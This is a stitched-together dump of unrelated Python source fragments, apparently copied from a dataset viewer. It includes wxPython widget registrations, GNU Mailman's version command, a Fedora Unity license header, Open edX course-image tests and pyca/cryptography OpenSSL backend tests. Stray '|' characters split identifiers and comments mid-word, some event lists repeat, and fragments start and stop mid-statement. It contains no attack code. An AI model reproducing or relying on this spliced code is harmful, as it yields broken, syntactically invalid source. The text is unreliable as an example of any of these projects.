c.setParamClass('selmax', params.ParamInt)
c.addEvents('EVT_SCROLL', 'EVT_SCROLL_TOP', 'EVT_SCROLL_BOTTOM',
'EVT_SCROLL_LINEUP', 'EVT_SCROLL_LINEDOWN', 'EVT_SCROLL_PAGEUP',
'EVT_SCROLL_PAGEDOWN', 'EVT_SCROLL_THUMBTRACK', 'EVT_SCROLL_THUMBRELEASE',
'EVT_SCROLL_CHANGED', 'EVT_SCROLL', 'EVT_SCROLL_TOP',
'EVT_SCROLL_BOTTOM', 'EVT_SCROLL_LINEUP',
'EVT_SCROLL_LINEDOWN', 'EVT_SCROLL_PAGEUP',
'EVT_SCROLL_PAGEDOWN', 'EVT_SCROLL_THUMBTRACK',
'EVT_SCROLL_THUMBRELEASE', 'EVT_SCROLL_CHANGED')
component.Manager.setMenu(c, 'control', 'slider', 'wxSlider', 60)
component.Manager.setTool(c, 'Controls', pos=(2,3))
### wxGauge
c = component.Component('wxGauge', ['control','tool'],
['pos', 'size', 'range', 'value', 'shadow', 'bezel'],
image=images.TreeGauge.GetImage())
c.addStyles('wxGA_HORIZONTAL', 'wxGA_VERTICAL', 'wxGA_PROGRESSBAR', 'wxGA_SMOOTH')
c.setParamClass('range', params.ParamIntNN)
c.setParamClass('value', params.ParamIntNN)
c.setParamClass('shadow', params.ParamUnit)
c.setParamClass('bezel', params.ParamUnit)
component.Manager.register(c)
component.Manager.setMenu(c, 'control', 'gauge', 'wxGauge', 70)
component.Manager.setTool(c, 'Controls', pos=(1,3))
### wxSpinCtrl
c = component.Component('wxSpinCtrl', ['control','tool'],
['pos', 'size', 'value', 'min', 'max'],
image=images.TreeSpinCtrl.GetImage())
c.addStyles('wxSP_HORIZONTAL', 'wxSP_VERTICAL', 'wxSP_ARROW_KEYS', 'wxSP_WRAP')
c.setParamClass('value', params.ParamInt)
c.addEvents('EVT_SPINCTRL')
component.Manager.register(c)
component.Manager.setMenu(c, 'control', 'spin ctrl', 'wxSpinCtrl', 80)
component.Manager.setTool(c, 'Controls', pos=(1,2))
### wxScrollBar
c = component.Component('wxScrollBar', ['control'],
['pos', 'size', 'value', 'thumbsize', 'range', 'pagesize'],
image=images.TreeScrollBar.GetImage())
c.addStyles('wxSB_HORIZONTAL', 'wxSB_VERTICAL')
c.setParamClass('range', params.ParamIntNN)
c.setParamClass('value', params.ParamIntNN)
c.setParamClass('thumbsize', params.ParamUnit)
c.setParamClass('pagesize', params.ParamUnit)
c.addEvents('EVT_SCROLL', 'EVT_SCROLL_TOP', 'EVT_SCROLL_BOTTOM',
'EVT_SCROLL_LINEUP', 'EVT_SCROLL_LINEDOWN', 'EVT_SCROLL_PAGEUP',
'EVT_SCROLL_PAGEDOWN', 'EVT_SCROLL_THUMBTRACK', 'EVT_SCROLL_THUMBRELEASE',
'EVT_SCROLL_CHANGED', 'EVT_SCROLL', 'EVT_SCROLL_TOP',
'EVT_SCROLL_BOTTOM', 'EVT_SCROLL_LINEUP',
'EVT_SCROLL_LINEDOWN', 'EVT_SCROLL_PAGEUP',
'EVT_SCROLL_PAGEDOWN', 'EVT_SCROLL_THUMBTRACK',
'EVT_SCROLL_THUMBRELEASE', 'EVT_SCROLL_CHANGED')
component.Manager.register(c)
component.Manager.setMenu(c, 'control', 'scroll bar', 'wxScrollBar', 90)
component.Manager.setTool(c, 'Controls', pos=(3,3))
### wxListCtrl
c = component.Component('wxListCtrl', ['control','tool'], ['pos', 'size'],
image=images.TreeListCtrl.GetImage())
c.addStyles('wxLC_LIST', 'wxLC_REPORT', 'wxLC_ICON', 'wxLC_SMALL_ICON',
'wxLC_ALIGN_TOP', 'wxLC_ALIGN_LEFT', 'wxLC_AUTOARRANGE',
'wxLC_USER_TEXT', 'wxLC_EDIT_LABELS', 'wxLC_NO_HEADER',
'wxLC_SINGLE_SEL', 'wxLC_SORT_ASCENDING', 'wxLC_SORT_DESCENDING',
'wxLC_VIRTUAL', 'wxLC_HRULES', 'wxLC_VRULES', 'wxLC_NO_SORT_HEADER')
c.addEvents('EVT_LIST_BEGIN_DRAG',
'EVT_LIST_BEGIN_RDRAG',
'EVT_LIST_BEGIN_LABEL_EDIT',
'EVT_LIST_END_LABEL_EDIT',
'EVT_LIST_DELETE_ITEM',
'EVT_LIST_DELETE_ALL_ITEMS',
'EVT_LIST_ITEM_SELECTED',
'EVT_LIST_ITEM_DESELECTED',
'EVT_LIST_KEY_DOWN',
'EVT_LIST_INSERT_ITEM',
'EVT_LIST_COL_CLICK',
'EVT_LIST_ITEM_RIGHT_CLICK',
'EVT_LIST_ITEM_MIDDLE_CLICK',
'EVT_LIST_ITEM_ACTIVATED',
'EVT_LIST_CACHE_HINT',
'EVT_LIST_COL_RIGHT_CLICK',
'EVT_LIST_COL_BEGIN_DRAG',
'EVT_LIST_COL_DRAGGING',
'EVT_LIST_COL_END_DRAG',
'EVT_LIST_ITEM_FOCUSED')
component.Manager.register(c)
component.Manager.setMenu(c, 'control', 'list ctrl', 'wxListCtrl', 100)
component.Manager.setTool(c, 'Panels', pos=(0,1))
### wxTreeCtrl
c = component.Component('wxTreeCtrl', ['control','tool'], ['pos', 'size'],
image=images.TreeTreeCtrl.GetImage())
c.addStyles('wxTR_EDIT_LABELS',
'wxTR_NO_BUTTONS',
'wxTR_HAS_BUTTONS',
'wxTR_TWIST_BUTTONS',
'wxTR_NO_LINES',
'wxTR_FULL_ROW_HIGHLIGHT',
'wxTR_LINES_AT_ROOT',
'wxTR_HIDE_ROOT',
| 'wxTR_ROW_LINES',
'wxTR_HAS_VARIABLE_ROW_HEIGHT',
'wxTR_SINGLE',
'wxTR_MULTIPLE',
'wxTR_EXTENDED',
'wxTR | _DEFAULT_STYLE')
c.addEvents('EVT_TREE_BEGIN_DRAG',
'EVT_TREE_BEGIN_RDRAG',
'EVT_TREE_BEGIN_LABEL_EDIT',
'EVT_TREE_END_LABEL_EDIT',
'EVT_TREE_DELETE_ITEM',
'EVT_TREE_GET_INFO',
'EVT_TREE_SET_INFO',
'EVT_TREE_ITEM_EXPANDED',
'EVT_TREE_ITEM_E |
# Copyright (C) 2009-2012 by the Free Software Foundation, Inc.
#
# This file is part of GNU Mailman.
#
# GNU Mailman | is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free
# Software Foundation, either version 3 of the License, or (at your option)
# any later version.
#
# GNU Mailman is | distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
# more details.
#
# You should have received a copy of the GNU General Public License along with
# GNU Mailman. If not, see <http://www.gnu.org/licenses/>.
"""The Mailman version."""
from __future__ import absolute_import, print_function, unicode_literals
__metaclass__ = type
__all__ = [
'Version',
]
from zope.interface import implementer
from mailman.interfaces.command import ICLISubCommand
from mailman.version import MAILMAN_VERSION_FULL
@implementer(ICLISubCommand)
class Version:
"""Mailman's version."""
name = 'version'
def add(self, parser, command_parser):
"""See `ICLISubCommand`."""
# No extra options.
pass
def process(self, args):
"""See `ICLISubCommand`."""
print(MAILMAN_VERSION_FULL)
|
#
# Copyright 2007-2009 Fedora Unity Project (http://fedoraunity.org)
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2, or (at your option) any
# later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPO | SE. See the
# GNU Library Gen | eral Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
__license__ = "GNU GPLv2+"
__version__ = "Git Development Hacking"
|
"""
Tests for functionality in openedx/core/lib/courses.py.
"""
import ddt
from django.test.utils import override_settings
from xmodule.modulestore import ModuleStoreEnum
from xmodule.modulestore.tests.django_utils import ModuleStoreTestCase
from xmodule.modulestore.tests.factories import CourseFactory
from ..courses import course_image_url
@ddt.ddt
class CourseImageTestCase(ModuleStoreTestCase):
"""Tests for course image URLs."""
shard = 2
def verify_url(self, expected_url, actual_url):
"""
Helper method for verifying the URL is as expected.
"""
if not expected_url.startswith("/"):
expected_url = "/" + expected_url
self.assertEquals(expected_url, actual_url)
def test_get_image_url(self):
"""Test image URL formatting."""
course = CourseFactory.create()
self.verify_url(
unicode(course.id.make_asset_key('asset', course.course_image)),
course_image_url(course)
)
def test_non_ascii_image_name(self):
| """ Verify that non-ascii image names are cleaned """
course_image = u'before_\N{SNOWMAN}_after.jpg'
course = CourseFactory.create(course_image=course_image)
self.verify_url(
unicode(course.id.make_asset_key('asset', course_image.replace(u'\N{SNOWMAN}', '_'))),
course_image_url(course)
)
def test_s | paces_in_image_name(self):
""" Verify that image names with spaces in them are cleaned """
course_image = u'before after.jpg'
course = CourseFactory.create(course_image=u'before after.jpg')
self.verify_url(
unicode(course.id.make_asset_key('asset', course_image.replace(" ", "_"))),
course_image_url(course)
)
@override_settings(DEFAULT_COURSE_ABOUT_IMAGE_URL='test.png')
@override_settings(STATIC_URL='static/')
@ddt.data(ModuleStoreEnum.Type.split, ModuleStoreEnum.Type.mongo)
def test_empty_image_name(self, default_store):
"""
Verify that if a course has empty `course_image`, `course_image_url` returns
`DEFAULT_COURSE_ABOUT_IMAGE_URL` defined in the settings.
"""
course = CourseFactory.create(course_image='', default_store=default_store)
self.assertEquals(
'static/test.png',
course_image_url(course),
)
def test_get_banner_image_url(self):
"""Test banner image URL formatting."""
banner_image = u'banner_image.jpg'
course = CourseFactory.create(banner_image=banner_image)
self.verify_url(
unicode(course.id.make_asset_key('asset', banner_image)),
course_image_url(course, 'banner_image')
)
def test_get_video_thumbnail_image_url(self):
"""Test video thumbnail image URL formatting."""
thumbnail_image = u'thumbnail_image.jpg'
course = CourseFactory.create(video_thumbnail_image=thumbnail_image)
self.verify_url(
unicode(course.id.make_asset_key('asset', thumbnail_image)),
course_image_url(course, 'video_thumbnail_image')
)
|
sa_oaep_md (< 1.0.2)"
)
def test_unsupported_mgf1_hash_algorithm_decrypt(self):
private_key = RSA_KEY_512.private_key(backend)
with raises_unsupported_algorithm(_Reasons.UNSUPPORTED_PADDING):
private_key.decrypt(
b"0" * 64,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA1(),
label=None
)
)
@pytest.mark.skipif(
backend._lib.Cryptography_HAS_RSA_OAEP_MD == 1,
reason="Requires OpenSSL without rsa_oaep_md (< 1.0.2)"
)
def test_unsupported_oaep_hash_algorithm_decrypt(self):
private_key = RSA_KEY_512.private_key(backend)
with raises_unsupported_algorithm(_Reasons.UNSUPPORTED_PADDING):
private_key.decrypt(
b"0" * 64,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA1()),
algorithm=hashes.SHA256(),
label=None
)
)
def test_unsupported_mgf1_hash_algorithm_ripemd160_decrypt(self):
private_key = RSA_KEY_512.private_key(backend)
with raises_unsupported_algorithm(_Reasons.UNSUPPORTED_PADDING):
private_key.decrypt(
b"0" * 64,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.RIPEMD160()),
algorithm=hashes.RIPEMD160(),
label=None
)
)
def test_unsupported_mgf1_hash_algorithm_whirlpool_decrypt(self):
private_key = RSA_KEY_512.private_key(backend)
with raises_unsupported_algorithm(_Reasons.UNSUPPORTED_PADDING):
private_key.decrypt(
b"0" * 64,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.Whirlpool()),
algorithm=hashes.Whirlpool(),
label=None
)
)
def test_unsupported_oaep_label_decrypt(self):
private_key = RSA_KEY_512.private_key(backend)
with pytest.raises(ValueError):
private_key.decrypt(
b"0" * 64,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA1()),
algorithm=hashes.SHA1(),
label=b"label"
)
)
@pytest.mark.skipif(
backend._lib.CRYPTOGRAPHY_OPENSSL_LESS_THAN_101,
reason="Requires an OpenSSL version >= 1.0.1"
)
class TestOpenSSLCMAC(object):
def test_unsupported_cipher(self):
with raises_unsupported_algorithm(_Reasons.UNSUPPORTED_CIPHER):
backend.create_cmac_ctx(DummyCipherAlgorithm())
class TestOpenSSLCreateX509CSR(object):
@pytest.mark.skipif(
backend._lib.CRYPTOGRAPHY_OPENSSL_101_OR_GREATER,
reason="Requires an older OpenSSL. Must be < 1.0.1"
)
def test_unsupported_dsa_keys(self):
private_key = DSA_KEY_2048.private_key(backend)
with pytest.raises(NotImplementedError):
backend.create_x509_csr(object(), private_key, hashes.SHA1())
@pytest.mark.skipif(
backend._lib.CRYPTOGRAPHY_OPENSSL_101_OR_GREATER,
reason="Requires an older OpenSSL. Must be < 1.0.1"
)
def test_unsupported_ec_keys(self):
_skip_curve_unsupported(backend, ec.SECP256R1())
private_key = ec.generate_private_key(ec.SECP256R1(), backend)
with pytest.raises(NotImplementedError):
backend.create_x509_csr(object(), private_key, hashes.SHA1())
class TestOpenSSLSignX509Certificate(object):
def test_requires_certificate_builder(self):
private_key = RSA_KEY_2048.private_key(backend)
with pytest.raises(TypeError):
backend.create_x509_certificate(
object(), private_key, DummyHashAlgorithm()
)
@pytest.mark.skipif(
backend._lib.CRYPTOGRAPHY_OPENSSL_101_OR_GREATER,
reason="Requires an older OpenSSL. Must be < 1.0.1"
)
def test_sign_with_dsa_private_key_is_unsupported(self):
private_key = DSA_KEY_2048.private_key(backend)
builder = x509.CertificateBuilder()
builder = builder.subject_name(
x509.Name([x509.NameAttribute(x509.NameOID.COUNTRY_NAME, u'US')])
).issuer_name(
x509.Name([x509.NameAttribute(x509.NameOID.COUNTRY_NAME, u'US')])
).serial_number(
1
).public_key(
private_key.public_key()
).not_valid_before(
datetime.datetime(2002, 1, 1, 12, 1)
).not_valid_after(
datetime.datetime(2032, 1, 1, 12, 1)
)
with pytest.raises(NotImplementedError):
builder.sign(private_key, hashes.SHA512(), backend)
@pytest.mark.skipif(
backend._lib.CRYPTOGRAPHY_OPENSSL_101_OR_GREATER,
reason="Requires an older OpenSSL. Must be < 1.0.1"
)
def test_sign_with_ec_private_key_is_unsupported(self):
_skip_curve_unsupported(backend, ec.SECP256R1())
private_key = ec.generate_private_key(ec.SECP256R1(), backend)
builder = x509.CertificateBuilder()
builder = builder.subject_name(
x509.Name([x509.NameAttribute(x509.NameOID.COUNTRY_NAME, u'US')])
).issuer_name(
x509.Name([x509.NameAttribute(x509.NameOID.COUNTRY_NAME, u'US')])
).serial_number(
1
).public_key(
private_key.public_key()
).not_valid_before(
datetime.datetime(2002, 1, 1, 12, 1)
).not_valid_after(
datetime.datetime(2032, 1, 1, 12, 1)
)
with pytest.raises(NotImplementedError):
builder.sign(private_key, hashes.SHA512(), backend)
class TestOpenSSLSignX509CertificateRevocationList(object):
def test_invalid_builder(self):
private_key = RSA_KEY_2048.private_key(backend)
with pytest.raises(TypeError):
backend.create_x509_crl(object(), private_key, hashes.SHA256())
@pytest.mark.skipif(
backend._lib.CRYPTOGRAPHY_OPENSSL_101_OR_GREATER,
reason="Requires an older OpenSSL. Must be < 1.0.1"
)
def test_sign_with_dsa_private_key_is_unsupported(self):
private_key = DSA_KEY_2048.private_key(backend)
builder = x509.CertificateRevocationListBuilder()
builder = builder.issuer_name(
x509.Name([x509.NameAttribute(x509.NameOID.COUNTRY_NAME, u'US')])
).last_update(
datetime.datetime(2002, 1, 1, 12, 1)
).next_update(
datetime.datetime(2032, 1, 1, 12, 1)
)
with pytest.raises(NotImplementedError):
builder.sign(private_key, hashes.SHA1(), backend)
@pytest.mark.skipif(
backend._lib.CRYPTOGRAPHY_OPENSSL_101_OR_GREATER,
reason="Requires an older OpenSSL. Must be < 1.0.1"
)
def test_sign_with_ec_private_key_is_unsupported(self):
_skip_ | curve_unsupported(backend, ec.SECP256R1())
private_key = ec.generate_private_key(ec.SECP256R1(), backend)
builder = x509.CertificateRevocationListBuilder()
| builder = builder.issuer_name(
x509.Name([x509.NameAttribute(x509.NameOID.COUNTRY_NAME, u'US')])
).last_update(
datetime.datetime(2002, 1, 1, 12, 1)
).next_update(
datetime.datetime(2032, 1, 1, 12, 1)
)
with pytest.raises(NotImplementedError):
builder.sign(private_key, hashes.SHA512(), backend)
class TestOpenSSLCreateRevokedCertificate(object):
def test_invalid_builder(self):
with pytest.raises(TypeError):
backend.create_x509_revoked_certificate(object())
class TestOpenSSLSerializationWithOpenSSL(object):
def test_pem_password_cb_buffer_too_small(self):
ffi_cb, userdata = backend._pem_password_cb(b"aa")
handle = backend._ffi.new_handle(u |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.